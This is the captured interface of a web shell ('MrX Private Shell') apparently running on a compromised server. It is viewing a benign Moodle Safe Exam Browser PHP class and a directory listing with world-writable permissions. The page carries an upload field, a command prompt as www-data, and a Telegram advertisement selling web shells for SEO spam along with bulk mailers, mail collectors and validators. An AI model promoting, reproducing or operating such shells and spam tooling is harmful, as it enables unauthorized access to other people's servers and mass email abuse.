__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Class for generating and representing a Safe Exam Browser config key.
 *
 * @package    quizaccess_seb
 * @author     Andrew Madden <andrewmadden@catalyst-au.net>
 * @copyright  2019 Catalyst IT
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace quizaccess_seb;

defined('MOODLE_INTERNAL') || die();

/**
 * Class for generating and representing a Safe Exam Browser config key.
 *
 * @copyright  2020 Catalyst IT
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class config_key {

    /** @var string $hash The Config Key hash. */
    private $hash;

    /**
     * The config_key constructor.
     *
     * @param string $hash The Config Key hash.
     */
    public function __construct(string $hash) {
        $this->hash = $hash;
    }

    /**
     * Generate the Config Key hash from an SEB Config XML string.
     *
     * See  https://safeexambrowser.org/developer/seb-config-key.html for more information about the process.
     *
     * @param string $xml A PList XML string, representing SEB config.
     * @return config_key This config key instance.
     */
    public static function generate(string $xml): config_key {
        if (!empty($xml) && !helper::is_valid_seb_config($xml)) {
            throw new \invalid_parameter_exception('Invalid a PList XML string, representing SEB config');
        }

        $plist = new property_list($xml);
        // Remove the key "originatorVersion" first. This key is exempted from the SEB-JSON hash (it's a special key
        // which doesn't have any functionality, it's just meta data indicating which SEB version saved the config file).
        $plist->delete_element('originatorVersion');
        // Convert the plist XML of a decrypted/unencrypted SEB config file to a ordered JSON-like "SEB-JSON" object.
        $hash = $plist->to_json();
        // Hash the JSON with SHA256. Defaults to required Base16 encoding.
        $hash = hash('SHA256', $hash);

        return new self($hash);
    }

    /**
     * Get the Config Key hash.
     *
     * @return string The Config Key hash
     */
    public function get_hash(): string {
        return $this->hash;
    }
}

Filemanager

Name Type Size Permission Actions
event Folder 0777
external Folder 0777
local Folder 0777
privacy Folder 0777
config_key.php File 2.83 KB 0777
helper.php File 4.33 KB 0777
hideif_rule.php File 2.96 KB 0777
link_generator.php File 2.1 KB 0777
property_list.php File 16.13 KB 0777
seb_access_manager.php File 12.64 KB 0777
seb_quiz_settings.php File 22.1 KB 0777
settings_provider.php File 43.19 KB 0777
template.php File 3.84 KB 0777
template_controller.php File 10.04 KB 0777
Filemanager